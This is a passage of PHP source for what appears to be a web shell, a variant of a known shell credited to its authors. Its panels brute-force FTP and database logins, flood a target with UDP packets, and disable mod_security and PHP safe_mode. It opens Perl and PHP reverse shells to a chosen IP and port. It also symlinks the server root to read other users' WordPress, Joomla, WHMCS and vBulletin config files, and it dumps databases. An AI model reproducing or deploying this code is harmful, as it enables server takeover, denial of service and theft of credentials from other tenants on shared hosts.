                $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass); 
                @pg_close($res); 
                return $res; 
            } 
        } 
        $success = 0; 
        $attempts = 0; 
        $server = explode(":", $_POST['server']); 
        if($_POST['type'] == 1) { 
            $temp = @file('/etc/passwd'); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = explode(":", $line); 
                    ++$attempts; 
                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; 
                    } 
                    if(@$_POST['reverse']) { 
                        $tmp = ""; 
                        for($i=strlen($line[0])-1; $i>=0; --$i) 
                            $tmp .= $line[0][$i]; 
                        ++$attempts; 
                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { 
                            $success++; 
                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); 
                        } 
                    } 
                } 
        } elseif($_POST['type'] == 2) { 
            $temp = @file($_POST['dict']); 
            if( is_array($temp) ) 
                foreach($temp as $line) { 
                    $line = trim($line); 
                    ++$attempts; 
                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { 
                        $success++; 
                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; 
                    } 
                } 
        } 
        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; 
    } 
    echo '<h1><font color=yellow>FTP bruteforce</font></h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' 
        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' 
        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' 
        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' 
        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' 
        .'<span>Server:port</span></td>' 
        .'<td><input type=text name=server value="127.0.0.1"></td></tr>' 
        .'<tr><td><span>Brute type</span></td>' 
        .'><td><label><font color=white<input type=radio name=type value="1" checked> /etc/passwd</font></label></td></tr>' 
        .'<tr><td></td><td><label style="padding-left:15px"><font color=white><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' 
        .'<tr><td></td><td><label><font color=white><input type=radio name=type value="2"> Dictionary</font></label></td></tr>' 
        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' 
        .'<td><input type=text name=login value="Yemen"></td></tr>' 
        .'<tr><td><span>Dictionary</span></td>' 
        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' 
        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; 
    echo '</div><br>'; 
    yemenFooter(); 
}
 
function yemendos()

{

    yemenhead();

    echo '<div class=header>';

  if(empty($_POST['ajax'])&&!empty($_POST['p1']))

  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;

  echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text"  size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input  type="submit" value=">>" /></form></center>';

  echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >";

    if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3']))

    {

         $packets=0;

        ignore_user_abort(true);

        $exec_time=$_POST['p2'];

        $time=time();

        $max_time=$exec_time+$time;

        $host=$_POST['p1'];

        $portudp=$_POST['p3'];

        for($i=0;$i<65000;$i++)

        {

            $out .= 'X';

        }

        while(1){

    

         $packets++;

            if(time() > $max_time){

                    break;

            }

            

            $fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5);

            if($fp){

                    fwrite($fp, $out);

                    fclose($fp);

            }

            }

         echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second";

         echo "</pre>";

    }

    

    echo '</div>'; 

   

    yemenfooter();        

}



function yemenproc()

{

    yemenhead();

    echo "<Div class=header><center>";

    if(empty($_POST['ajax'])&&!empty($_POST['p1']))

  $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;

  if($GLOBALS['sys']=="win")

  {

    $process=array(

    "System Info" =>"systeminfo",

    "Active Connections" => "netstat -an",

 	"Running Services" => "net start",

 	"User Accounts" => "net user",

 	"Show Computers" => "net view",

    "ARP Table" => "arp -a",

    "IP Configuration" => "ipconfig /all"

    );

    }

  else

  { 

    $process=array(

    "Process status" => "ps aux",

    "Syslog" =>"cat  /etc/syslog.conf",

    "Resolv" => "cat  /etc/resolv.conf",

    "Hosts" =>"cat /etc/hosts",

    "Passwd" =>"cat /etc/passwd",

    "Cpuinfo"=>"cat /proc/cpuinfo",

    "Version"=>"cat /proc/version",

    "Sbin"=>"ls -al /usr/sbin",

    "Interrupts"=>"cat /proc/interrupts",

    "lsattr"=>"lsattr -va",

    "Uptime"=>"uptime",

    "Fstab" =>"cat /etc/fstab",

    "HDD Space" => "df -h"

    );}

    

    foreach($process as $n => $link)

    {

        echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> |  <b>'.$n.'</b> |  </a></br></br>';

    }

    echo "</center>"; 

     if(!empty($_POST['p1']))

     {

        echo "<pre class='ml1' style='margin-top:5px' >";

        echo yemenEx($_POST['p1']);

        echo '</pre>';

     }

     echo "</div>";

     yemenfooter();

     }

     

function yemensafe()

{

    yemenhead();

    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>";

    echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';

    if(!empty($_POST['p2']) && isset($_POST['p2']))

    {

    $fil=fopen($GLOBALS['cwd'].".htaccess","w");

    fwrite($fil,'<IfModule mod_security.c>

Sec------Engine Off

Sec------ScanPOST Off

</IfModule>');

    fclose($fil);

   }

   if(!empty($_POST['p1'])&& isset($_POST['p1']))

   {

    $fil=fopen($GLOBALS['cwd']."php.ini","w");

      fwrite($fil,'safe_mode=OFF

disable_functions=NONE');

     fclose($fil);

    }

    if(!empty($_POST['p3']) && isset($_POST['p3']))

    {

    $fil=fopen($GLOBALS['cwd'].".htaccess","w");

    fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .sh

AddHandler cgi-script .pl

AddHandler cgi-script .pl');

     fclose($fil); 

    }

    echo "<br></div>";

    yemenfooter();

    

}



function yemenconnect()

{

 yemenhead();

 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";

 echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>";

 echo "<form  onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>";

 echo "<br><form  onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>";

 if(isset($_POST['p1'])) {

		function cf($f,$t) {

			$w = @fopen($f,"w") or @function_exists('file_put_contents');

			if($w){

				@fwrite($w,base64_decode($t));

				@fclose($w);

			}

		}

		if($_POST['p1'] == 'bcp') {

			cf("/tmp/bc.pl",$back_connect_p);

			$out = yemenEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");

			echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>";

            @unlink("/tmp/bc.pl");

		}

        if($_POST['p1']=='php')

 {

            

@set_time_limit (0);

$ip = $_POST['p2']; 

$port =$_POST['p3'];     

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;

echo "<pre class=ml1 style='margin-top:5px'>";



if (function_exists('pcntl_fork')) {

	

	$pid = pcntl_fork();

	

	if ($pid == -1) {

		echo "Cant fork!<br>";

		exit(1);

	}

	

	if ($pid) {

		exit(0);  

	}



	if (posix_setsid() == -1) {

		echo "Error: Can't setsid()<br>";

		exit(1);

	}



	$daemon = 1;

} else {

	echo "WARNING: Failed to daemonise.  This is quite common and not fatal<br>";

}



chdir("/");



umask(0);



$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

	echo "$errstr ($errno)";

	exit(1);

}





$descriptorspec = array(

   0 => array("pipe", "r"),  

   1 => array("pipe", "w"),  

   2 => array("pipe", "w")   

);



$process = proc_open($shell, $descriptorspec, $pipes);



if (!is_resource($process)) {

	echo "ERROR: Can't spawn shell<br>";

	exit(1);

}





@stream_set_blocking($pipes[0], 0);

@stream_set_blocking($pipes[1], 0);

@stream_set_blocking($pipes[2], 0);

@stream_set_blocking($sock, 0);



echo "Successfully opened reverse shell to $ip:$port<br>";



while (1) {

	if (feof($sock)) {

		echo "ERROR: Shell connection terminated<br>";

		break;

	}



	if (feof($pipes[1])) {

		echo "ERROR: Shell process terminated<br>";

		break;

	}



	

	$read_a = array($sock, $pipes[1], $pipes[2]);

	$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);



	if (in_array($sock, $read_a)) {

		if ($debug) echo "SOCK READ<br>";

		$input=fread($sock, $chunk_size);

		if ($debug) echo "SOCK: $input<br>";

		fwrite($pipes[0], $input);

	}



	if (in_array($pipes[1], $read_a)) {

		if ($debug) echo "STDOUT READ<br>";

		$input = fread($pipes[1], $chunk_size);

		if ($debug) echo "STDOUT: $input<br>";

		fwrite($sock, $input);

	}



	

	if (in_array($pipes[2], $read_a)) {

		if ($debug) echo "STDERR READ<br>";

		$input = fread($pipes[2], $chunk_size);

		if ($debug) echo "STDERR: $input<br>";

		fwrite($sock, $input);

	}

}



fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);



echo "</pre>";

}



}   

 echo "</div>";

 yemenfooter();

}



function yemenyemen()

{
yemenhead();
    

    

    
echo"<center><b><font color=white size=7 face=Georgia, Arial>=.+.=</br>Developed by BLACK.JaGuAr & hatrk</font></b></center>";

yemenfooter();
    }

    

function yemensymlink()

{

    yemenhead();

    

$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];

$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl );

$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl );  

    

    

    



   echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains |</br> </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| ls -n /sym| </br></a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>';

    

    if(isset($_POST['p1']) && $_POST['p1']=='website')

    {

        echo "<center>";

        $d0mains = @file("/etc/named.conf");

        if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; }



 



echo "<table align=center class='main'  border=0  >



<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>";

$count=1;

foreach($d0mains as $d0main){



if(@eregi("zone",$d0main)){



preg_match_all('#zone "(.*)"#', $d0main, $domains);



flush();



if(strlen(trim($domains[1][0])) > 2){



$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));



echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();

$count++;

}}}

echo "</center></table>"; 

 }

 

 if(isset($_POST['p2']) && $_POST['p2']=='whole')

 {
        
    @set_time_limit(0);

    

    echo "<center>";

    
@mkdir('sym',0777);

$IIIIIIIIIIl1  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";

$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');

fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);

@symlink('/','sym/root');

$IIIIIIIIIlIl = basename('_FILE_');

    

    

$IIIIIIIIIllI = @file('/etc/named.conf');

if(!$IIIIIIIIIllI)

{

echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 

}

else

{

echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>";

foreach($IIIIIIIIIllI as $IIIIIIIIIll1){

if(@eregi('zone',$IIIIIIIIIll1)){

preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);

flush();

if(strlen(trim($IIIIIIIIIl11[1][0])) >2){

$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));

$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;

@symlink('/','sym/root');

$IIIIIIII1I1l = $IIIIIIIIIl11[1][0];

$IIIIIIII1I11 = '\.ir';

$IIIIIIII1lII = '\.il';

if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) )

{

$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>';

}

echo "

<tr>



<td>

<a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a>

</td>



<td>

'.$IIIIIIIII1I1['name']."

</td>



<td>

<a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a>

</td>





</tr>";

flush();

}

}

}

}

    

echo "</center></table>";    

    

 }

 

 

 

 if(isset($_POST['p3']) && $_POST['p3']=='config')

 

 

 {

  echo "<center>";

@mkdir('sym',0777);

$IIIIIIIIIIl1  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";

$IIIIIIIIII1I =@fopen ('sym/.htaccess','w');

@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1);

@symlink('/','sym/root');

$IIIIIIIIIlIl = basename('_FILE_');

  

   

   $IIIIIIIIIllI = @file('/etc/named.conf');

if(!$IIIIIIIIIllI)

{

echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";

}

else

{

echo "

<table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>";

foreach($IIIIIIIIIllI as $IIIIIIIIIll1){

if(@eregi('zone',$IIIIIIIIIll1)){

preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11);

flush();

if(strlen(trim($IIIIIIIIIl11[1][0])) >2){

$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0]));

$IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php';

$IIIIIIIII11I=get_headers($IIIIIIIII1l1);

$IIIIIIIII11l=$IIIIIIIII11I[0];

$IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php';

$IIIIIIIIlIII=get_headers($IIIIIIIII111);

$IIIIIIIIlIIl=$IIIIIIIIlIII[0];

$IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php';

$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1);

$IIIIIIIIlIll=$IIIIIIIIlIlI[0];

$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php';

$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1);

$IIIIIIIIlI1l=$IIIIIIIIlI1I[0];

$IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php';

$IIIIIIIIllII=get_headers($IIIIIIIIlI11);

$IIIIIIIIllIl=$IIIIIIIIllII[0];

$IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php';

$IIIIIIIIlllI=get_headers($IIIIIIIIllI1);

$IIIIIIIIllll=$IIIIIIIIlllI[0];

$IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php';

$IIIIIIIIll1I=get_headers($IIIIIIIIlll1);

$IIIIIIIIll1l=$IIIIIIIIll1I[0];

$IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php';

$IIIIIIIIl1II=get_headers($IIIIIIIIll11);

$IIIIIIIIl1Il=$IIIIIIIIl1II[0];

$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php';

$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1);

$IIIIIIIIl1lI=$IIIIIIIIl1II[0];

$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';

$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll);

$IIIIIIIIl11I=$IIIIIIIIl1l1[0];

$IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php';

$IIIIIIIIl111=get_headers($IIIIIIIIl11l);

$IIIIIIII1III=$IIIIIIIIl111[0];

$IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php';

$IIIIIIII1II1=get_headers($IIIIIIII1IIl);

$IIIIIIII1IlI=$IIIIIIII1II1[0];

$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200');

$IIIIIIII1I1I='&nbsp;';

if (strpos($IIIIIIIII11l,'200') == true )

{

$IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>";

}

elseif (strpos($IIIIIIIIlIIl,'200') == true)

{

$IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>";

}

elseif (strpos($IIIIIIIIlIll,'200')  == true and strpos($IIIIIIII1III,'200')  == true )

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>";

}

elseif (strpos($IIIIIIIIl1lI,'200')  == true)

{

$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>";

}

elseif (strpos($IIIIIIIIl11I,'200')  == true)

{

$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>";

}

elseif (strpos($IIIIIIIIlIll,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>";

}

elseif (strpos($IIIIIIIIlI1l,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>";

}

elseif (strpos($IIIIIIIIllIl,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>";

}

elseif (strpos($IIIIIIIIllll,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>";

}

elseif (strpos($IIIIIIIIll1l,'200')  == true)

{

$IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>";

}

else

{

continue;

}

$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ;

echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td>

<td>'.$IIIIIIII1I1I.'</td></tr>';flush();

}

}

}

}

echo "</center></table>";   

    

 }

    

    echo "</div>";

    yemenfooter();

    

}    

function yemensql()

{
    

    class DbClass {

		var $type;

		var $link;

		var $res;

		function DbClass($type)	{

			$this->type = $type;

		}

		function connect($host, $user, $pass, $dbname){

			switch($this->type)	{

				case 'mysql':

					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;

					break;

				case 'pgsql':

					$host = explode(':', $host);

					if(!$host[1]) $host[1]=5432;

					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;

					break;

			}

			return false;

		}

		function selectdb($db) {

			switch($this->type)	{

				case 'mysql':

					if (@mysql_select_db($db))return true;

					break;

			}

			return false;

		}

		function query($str) {

			switch($this->type) {

				case 'mysql':

					return $this->res = @mysql_query($str);

					break;

				case 'pgsql':

					return $this->res = @pg_query($this->link,$str);

					break;

			}

			return false;

		}

		function fetch() {

			$res = func_num_args()?func_get_arg(0):$this->res;

			switch($this->type)	{

				case 'mysql':

					return @mysql_fetch_assoc($res);

					break;

				case 'pgsql':

					return @pg_fetch_assoc($res);

					break;

			}

			return false;

		}

		function listDbs() {

			switch($this->type)	{

				case 'mysql':

                        return $this->query("SHOW databases");

				break;

				case 'pgsql':

					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");

				break;

			}

			return false;

		}

		function listTables() {

			switch($this->type)	{

				case 'mysql':

					return $this->res = $this->query('SHOW TABLES');

				break;

				case 'pgsql':

					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");

				break;

			}

			return false;

		}

		function error() {

			switch($this->type)	{

				case 'mysql':

					return @mysql_error();

				break;

				case 'pgsql':

					return @pg_last_error();

				break;

			}

			return false;

		}

		function setCharset($str) {

			switch($this->type)	{

				case 'mysql':

					if(function_exists('mysql_set_charset'))

						return @mysql_set_charset($str, $this->link);

					else

						$this->query('SET CHARSET '.$str);

					break;

				case 'pgsql':

					return @pg_set_client_encoding($this->link, $str);

					break;

			}

			return false;

		}

		function loadFile($str) {

			switch($this->type)	{

				case 'mysql':

					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));

				break;

				case 'pgsql':

					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");

					$r=array();

					while($i=$this->fetch())

						$r[] = $i['file'];

					$this->query('drop table wso2');

					return array('file'=>implode("
",$r));

				break;

			}

			return false;

		}

		function dump($table, $fp = false) {

			switch($this->type)	{

				case 'mysql':

					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');

					$create = mysql_fetch_array($res);

					$sql = $create[1].";
";

                    if($fp) fwrite($fp, $sql); else echo($sql);

					$this->query('SELECT * FROM `'.$table.'`');

                    $head = true;

					while($item = $this->fetch()) {

						$columns = array();

						foreach($item as $k=>$v) {

                            if($v == null)

                                $item[$k] = "NULL";

                            elseif(is_numeric($v))

                                $item[$k] = $v;

                            else

                                $item[$k] = "'".@mysql_real_escape_string($v)."'";

							$columns[] = "`".$k."`";

						}

                        if($head) {

                            $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';

                            $head = false;

                        } else

                            $sql = "
	,(".implode(", ", $item).')';

                        if($fp) fwrite($fp, $sql); else echo($sql);

					}

                    if(!$head)

                        if($fp) fwrite($fp, ";

"); else echo(";

");

				break;

				case 'pgsql':

					$this->query('SELECT * FROM '.$table);

					while($item = $this->fetch()) {

						$columns = array();

						foreach($item as $k=>$v) {

							$item[$k] = "'".addslashes($v)."'";

							$columns[] = $k;

						}

                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";

                        if($fp) fwrite($fp, $sql); else echo($sql);

					}

				break;

			}

			return false;

		}

	};

	$db = new DbClass($_POST['type']);

	if(@$_POST['p2']=='download') {

		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);

		$db->selectdb($_POST['sql_base']);

        switch($_POST['charset']) {

            case "Windows-1251": $db->setCharset('cp1251'); break;

            case "UTF-8": $db->setCharset('utf8'); break;

            case "KOI8-R": $db->setCharset('koi8r'); break;

            case "KOI8-U": $db->setCharset('koi8u'); break;

            case "cp866": $db->setCharset('cp866'); break;

        }

        if(empty($_POST['file'])) {

            ob_start("ob_gzhandler", 4096);

            header("Content-Disposition: attachment; filename=dump.sql");

            header("Content-Type: text/plain");

            foreach($_POST['tbl'] as $v)

				$db->dump($v);

            exit;

        } elseif($fp = @fopen($_POST['file'], 'w')) {

            foreach($_POST['tbl'] as $v)

                $db->dump($v, $fp);

            fclose($fp);

            unset($_POST['p2']);

        } else

            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');

	}

	yemenhead();

	echo "

<div class=header>

<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>

<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>

<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>

<td><select name='type'><option value='mysql' ";

    if(@$_POST['type']=='mysql')echo 'selected';

echo ">MySql</option><option value='pgsql' ";

if(@$_POST['type']=='pgsql')echo 'selected';

echo ">PostgreSql</option></select></td>

<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>

<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>

<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";

	$tmp = "<input type=text name=sql_base value=''>";

	if(isset($_POST['sql_host'])){

		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {

			switch($_POST['charset']) {

				case "Windows-1251": $db->setCharset('cp1251'); break;

				case "UTF-8": $db->setCharset('utf8'); break;

				case "KOI8-R": $db->setCharset('koi8r'); break;

				case "KOI8-U": $db->setCharset('koi8u'); break;

				case "cp866": $db->setCharset('cp866'); break;

			}

			$db->listDbs();

			echo "<select name=sql_base><option value=''></option>";

			while($item = $db->fetch()) {

				list($key, $value) = each($item);

				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';

			}

			echo '</select>';

		}

		else echo $tmp;

	}else

		echo $tmp;

	echo "</td>

				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>

                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>

			</tr>

		</table>

		<script>

            s_db='".@addslashes($_POST['sql_base'])."';

            function fs(f) {

                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};

                    if(f.p1) f.p1.value='';

                    if(f.p2) f.p2.value='';

                    if(f.p3) f.p3.value='';

                }

            }

			function st(t,l) {

				d.sf.p1.value = 'select';

				d.sf.p2.value = t;

                if(l && d.sf.p3) d.sf.p3.value = l;

				d.sf.submit();

			}

			function is() {

				for(i=0;i<d.sf.elements['tbl[]'].length;++i)

					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;

			}

		</script>";

	if(isset($db) && $db->link){

		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";

			if(!empty($_POST['sql_base'])){

				$db->selectdb($_POST['sql_base']);

				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";

				$tbls_res = $db->listTables();

